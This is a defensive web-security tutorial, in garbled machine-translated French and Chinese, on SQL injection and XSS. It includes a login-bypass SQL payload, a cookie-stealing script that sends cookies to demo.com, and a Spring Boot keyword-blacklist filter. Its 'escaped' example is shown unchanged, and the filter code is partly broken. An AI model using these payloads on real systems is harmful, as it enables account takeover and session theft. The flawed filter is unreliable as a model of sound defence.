Introduction à l'injection SQL
La vulnérabilité d'injection SQL (injection SQL) est la sécurité la plus courante dans les failles de développement Web . Vous pouvez l'utiliser pour obtenir des informations sensibles de la base de données, ou utiliser les caractéristiques de la base de données pour effectuer une série d'opérations malveillantes telles que l'ajout d'utilisateurs et l'exportation de fichiers. Il est même possible d'obtenir les autorisations les plus élevées de la base de données et même des utilisateurs du système. .
La raison de l'injection SQL est que le programme n'échappe pas et ne filtre pas efficacement les entrées de l'utilisateur, permettant à l'attaquant de soumettre avec succès un code de requête SQL malveillant au serveur. Après avoir reçu le programme, l'entrée de l'attaquant est exécutée par erreur. dans le cadre d'une instruction de requête, la logique de requête d'origine est modifiée et du code malveillant supplémentaire soigneusement construit par l'attaquant est exécuté.
De nombreux développeurs Web ne réalisent pas que les requêtes SQL peuvent être falsifiées et traitent donc les requêtes SQL comme des commandes fiables. Comme chacun le sait, les requêtes SQL peuvent contourner les contrôles d'accès, contournant ainsi les contrôles d'authentification et d'autorisation. De plus, il est possible d'exécuter des commandes au niveau du système hôte via des requêtes SQL.
Principe de l'injection SQL
Ce qui suit expliquera en détail le principe de l'injection SQL à travers quelques exemples réels.
Considérez le formulaire de connexion administrateur simple suivant :
<form action="/login" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="登陆" /></p> </form>
L'instruction SQL back-end peut être la suivante :
let querySQL = ` SELECT * FROM user WHERE username='${username}' AND psw='${password}' `; // 接下来就是执行 sql 语句
Le but est de vérifier que le nom d'utilisateur et le mot de passe sont C'est correct. Il va de soi qu'à première vue, il n'y a rien de mal avec l'instruction SQL ci-dessus. Cependant, vous n'envisagez le problème que du point de vue que les utilisateurs entreront honnêtement en fonction de votre conception. un attaquant malveillant entre Le nom d'utilisateur est zhangsan' OU 1 = 1 --, entrez le mot de passe comme vous le souhaitez et vous pourrez vous connecter directement au système.
Calmez-vous et réfléchissez-y. La véritable instruction SQL à laquelle nous nous attendions auparavant est :
SELECT * FROM user WHERE username='zhangsan' AND psw='mypassword'
Le nom d'utilisateur étrange d'un attaquant malveillant peut modifier votre instruction SQL sous la forme suivante :
SELECT * FROM user WHERE username='zhangsan' OR 1 = 1 --' AND psw='xxxx'
En SQL, -- désigne le contenu après le commentaire, donc l'instruction de requête devient :
SELECT * FROM user WHERE username='zhangsan' OR 1 = 1
La condition de requête de cette instruction SQL est toujours vraie, cela signifie donc que les attaquants malveillants n'ont pas besoin de moi avec le mot de passe, vous pouvez vous connecter à mon compte, puis y faire ce que vous voulez. Cependant, il ne s'agit que de l'injection la plus simple. Un formidable expert en injection SQL peut même exécuter des commandes au niveau du système hôte via des requêtes SQL et insérer le fichier. fichiers dans votre hôte. Le contenu est un aperçu, et je n'ai pas la possibilité de l'expliquer trop en profondeur ici. Après tout, je ne suis pas professionnel dans la recherche de ce type d'attaque. Cependant, à travers les exemples ci-dessus, nous avons. compris les principes de l'injection SQL, et nous pouvons essentiellement trouver une solution pour nous défendre contre l'injection SQL.
Recommandations associées : "Tutoriel ThinkPHP"
Prévenir l'injection SQL
La prévention de l'injection SQL ne permet principalement pas la saisie de l'utilisateur. Le contenu affecte la logique des instructions SQL normales. Lorsque les informations saisies par l'utilisateur sont utilisées pour fusionner des instructions SQL, nous devons toujours choisir de ne pas y croire. Tout contenu doit être échappé et filtré. Bien sûr, cela ne suffit pas. ci-dessous Plusieurs points à noter lors de la défense contre l'injection SQL :
1 Limiter strictement les autorisations d'exploitation de la base de données de l'application Web, et fournir ainsi à cet utilisateur les autorisations minimales suffisantes pour son travail. minimiser l’impact des attaques par injection sur la base de données.
2. Le code back-end vérifie si les données d'entrée répondent aux attentes et limite strictement les types de variables, comme l'utilisation d'expressions régulières pour certains traitements de correspondance.
3. Échapper ou encoder les caractères spéciaux (', ", <, >, &, *,;, etc.) qui entrent dans la base de données. Fondamentalement, toutes les langues back-end Il existe des méthodes pour chaînes d'échappement, telles que la bibliothèque lodash._escapehtmlchar.
4. Il est recommandé que toutes les instructions de requête utilisent l'interface de requête paramétrée fournie par la base de données. Les instructions paramétrées utilisent des paramètres au lieu d'utiliser des variables d'entrée utilisateur. dans les instructions SQL, c'est-à-dire ne collez pas directement les instructions SQL. Par exemple, le paramètre d'espace réservé ? dans la méthode de requête de la bibliothèque mysqljs dans Node.js 5. Il est recommandé d'utiliser la détection d'injection SQL avant de publier l'application. des outils pour détecter et réparer rapidement les vulnérabilités d'injection SQL découvertes. Il existe de nombreux outils open source sur Internet, tels que sqlmap, SQLninja, etc. 6. Évitez que les sites Web n'affichent des messages d'erreur SQL, tels que des erreurs de type, des incompatibilités de champs, etc. ., exposez les instructions SQL dans le code pour empêcher les attaquants d'utiliser ces messages d'erreur pour effectuer des injections SQL
7 Ne soyez pas trop détaillé dans les informations d'erreur renvoyées si le but est de faciliter le débogage, utilisez simplement. le journal back-end et n'exposez pas trop d'informations d'erreur sur l'interface. Après tout, les vrais utilisateurs ne se soucient pas de trop de détails techniques, tant que les mots sont raisonnables. Introduction aux attaques XSS
XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。 原理是攻击者往 web 页面里插入恶意的脚本代码(CSS代码、JavaScript代码等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。如盗取用户cookie,破坏页面结构、重定向到其他网站等。
理论上来说,web 页面中所有可由用户输入的地方,如果没有对输入的数据进行过滤处理的话,都会存在 XSS 漏洞;当然,我们也需要对模板视图中的输出数据进行过滤。
XSS 攻击示例
有一个博客网站,提供了一个 web 页面(内含表单)给所有的用户发表博客,但该博客网站的开发人员并没有对用户提交的表单数据做任何过滤处理。 现在,我是一个攻击者,在该博客网站发表了一篇博客,用于盗取其他用户的cookie信息。博客内容如下:
<b>This is a XSS test!</b> <script> var cookie = document.cookie; window.open("http://demo.com/getCookie.php?param="+cookie); </script>
这是一段 XSS 攻击代码。当其他用户查看我的这篇博客时,他们的 cookie 信息就会被发送至我的 web 站点(http://demo.com/) ,如此,我就盗取了其他用户的 cookie 信息。
预防 XSS 攻击
核心思想
永远不要相信用户的输入,必须对输入的数据作过滤处理。
该函数会把字符串中的特殊字符转化为 HTML 实体,这样在输出时,恶意的代码就无法执行了。这些特殊字符主要是 ’ " & < >。
比如,我刚刚的恶意代码被过滤后,会变为下面的代码:
<b>This is a XSS test!</b> <script> var cookie = document.cookie; window.open("http://demo.com/getCookie.php?param="+cookie); </script>
这样,就可以预防大部分 XSS 攻击了。
服务端代码处理
以springboot为例:
可利用过滤器进行设置,如下所示:
/** * 防止sql注入,xss攻击 * 前端可以对输入信息做预处理,后端也可以做处理。 */ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { private final Logger log = LoggerFactory.getLogger(getClass()); private static String key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char |declare|;|or|-|+"; private static Set<String> notAllowedKeyWords = new HashSet<String>(0); private static String replacedString="INVALID"; static { String keyStr[] = key.split("\\|"); for (String str : keyStr) { notAllowedKeyWords.add(str); } } private String currentUrl; public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) { super(servletRequest); currentUrl = servletRequest.getRequestURI(); } /**覆盖getParameter方法,将参数名和参数值都做xss过滤。 * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取 * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖 */ @Override public String getParameter(String parameter) { String value = super.getParameter(parameter); if (value == null) { return null; } return cleanXSS(value); } @Override public String[] getParameterValues(String parameter) { String[] values = super.getParameterValues(parameter); if (values == null) { return null; } int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = cleanXSS(values[i]); } return encodedValues; } @Override public Map<String, String[]> getParameterMap(){ Map<String, String[]> values=super.getParameterMap(); if (values == null) { return null; } Map<String, String[]> result=new HashMap<>(); for(String key:values.keySet()){ String encodedKey=cleanXSS(key); int count=values.get(key).length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++){ encodedValues[i]=cleanXSS(values.get(key)[i]); } result.put(encodedKey,encodedValues); } return result; } /** * 覆盖getHeader方法,将参数名和参数值都做xss过滤。 * 如果需要获得原始的值,则通过super.getHeaders(name)来获取 * getHeaderNames 也可能需要覆盖 */ @Override public String getHeader(String name) { String value = super.getHeader(name); if (value == null) { return null; } return cleanXSS(value); } private String cleanXSS(String valueP) { // You'll need to remove the spaces from the html entities below String value = valueP.replaceAll("<", "<").replaceAll(">", ">"); value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;"); value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;"); value = value.replaceAll("'", "& #39;"); value = value.replaceAll("eval\\((.*)\\)", ""); value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\""); value = value.replaceAll("script", ""); value = cleanSqlKeyWords(value); return value; } private String cleanSqlKeyWords(String value) { String paramValue = value; for (String keyword : notAllowedKeyWords) { if (paramValue.length() > keyword.length() + 4 && (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue. contains(" "+keyword+" "))) { paramValue = StringUtils.replace(paramValue, keyword, replacedString); log.error(this.currentUrl + "已被过滤,因为参数中包含不允许sql的关键词(" + keyword + ")"+";参数:"+value+";过滤后的参数:"+paramValue); } } return paramValue; } }
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!